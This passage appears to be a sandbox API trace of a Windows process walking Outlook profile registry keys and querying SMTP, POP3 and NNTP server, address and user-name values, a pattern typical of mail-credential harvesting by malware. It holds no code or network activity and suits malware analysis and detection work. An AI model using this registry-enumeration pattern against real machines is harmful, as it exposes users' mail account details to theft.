Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.722] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.722] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.722] lstrlenA (lpString="8503020000000000c000000000000046") returned 32 [0079.722] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b940 [0079.722] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.722] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="8503020000000000c000000000000046" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\8503020000000000c000000000000046") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\8503020000000000c000000000000046" [0079.722] LocalFree (hMem=0x66b738) returned 0x0 [0079.722] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\8503020000000000c000000000000046") returned 122 [0079.722] lstrlenA (lpString="") returned 0 [0079.722] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.722] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\8503020000000000c000000000000046" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\8503020000000000c000000000000046") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\8503020000000000c000000000000046" [0079.722] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\8503020000000000c000000000000046", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\8503020000000000c000000000000046") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\8503020000000000c000000000000046" [0079.722] LocalFree (hMem=0x66b940) returned 0x0 [0079.722] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\8503020000000000c000000000000046", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.722] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="`ñ\x12", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.722] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.722] LocalFree (hMem=0x66b738) returned 0x0 [0079.722] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0xa, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="9207f3e0a3b11019908b08002b2a56c2", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.722] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.722] lstrlenA (lpString="\\") returned 1 [0079.722] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.722] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.722] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.722] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.722] lstrlenA (lpString="9207f3e0a3b11019908b08002b2a56c2") returned 32 [0079.722] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b940 [0079.722] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.722] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="9207f3e0a3b11019908b08002b2a56c2" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2" [0079.723] LocalFree (hMem=0x66b738) returned 0x0 [0079.723] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2") returned 122 [0079.723] lstrlenA (lpString="") returned 0 [0079.723] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.723] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2" [0079.723] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2" [0079.723] LocalFree (hMem=0x66b940) returned 0x0 [0079.723] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.723] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="`ñ\x12", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.723] RegCloseKey (hKey=0x1f0) returned 0x0 [0079.723] LocalFree (hMem=0x66b738) returned 0x0 [0079.723] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0xb, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="9375CFF0413111d3B88A00104B2A6676", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.723] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.723] lstrlenA (lpString="\\") returned 1 [0079.723] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.723] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.723] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.723] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.723] lstrlenA (lpString="9375CFF0413111d3B88A00104B2A6676") returned 32 [0079.723] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b940 [0079.723] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.723] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0079.723] LocalFree (hMem=0x66b738) returned 0x0 [0079.723] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 122 [0079.723] lstrlenA (lpString="") returned 0 [0079.723] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.723] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0079.723] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0079.723] LocalFree (hMem=0x66b940) returned 0x0 [0079.723] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.723] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000001", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.723] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 122 [0079.723] lstrlenA (lpString="\\") returned 1 [0079.723] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x66b940 [0079.724] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0079.724] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0079.724] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned 123 [0079.724] lstrlenA (lpString="00000001") returned 8 [0079.724] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x65b170 [0079.724] lstrcpyA (in: lpString1=0x65b170, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\" [0079.724] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\", lpString2="00000001" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001" [0079.724] LocalFree (hMem=0x66b940) returned 0x0 [0079.724] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.724] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.724] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.724] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.724] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.724] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.724] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.724] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.724] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.724] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.724] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.724] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.724] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.724] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.724] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.724] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.724] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.725] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.725] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.725] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.725] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.725] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.725] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.725] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.725] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.725] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.725] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.725] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.725] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.725] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.725] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.725] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.725] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.725] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.725] RegQueryValueExA (in: hKey=0x1f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.725] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.725] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.725] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.725] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.726] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.726] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.726] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.726] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.726] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.726] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.726] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.726] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.726] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.726] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20219, phkResult=0x12ee10 | out: phkResult=0x12ee10*=0x1f8) returned 0x0 [0079.726] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x12ee08, lpData=0x0, lpcbData=0x12ee0c*=0x12edf4 | out: lpType=0x12ee08*=0x0, lpData=0x0, lpcbData=0x12ee0c*=0x0) returned 0x2 [0079.726] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.726] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20119, phkResult=0x12ede4 | out: phkResult=0x12ede4*=0x1f8) returned 0x0 [0079.726] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x12eddc, lpData=0x0, lpcbData=0x12ede0*=0x12edc8 | out: lpType=0x12eddc*=0x0, lpData=0x0, lpcbData=0x12ede0*=0x0) returned 0x2 [0079.726] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.726] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000001", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.726] RegQueryValueExA (in: hKey=0x1f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.726] RegCloseKey (hKey=0x1f8) returned 0x0 [0079.726] RegOpenKeyExA (in: hKey=0x80000001, 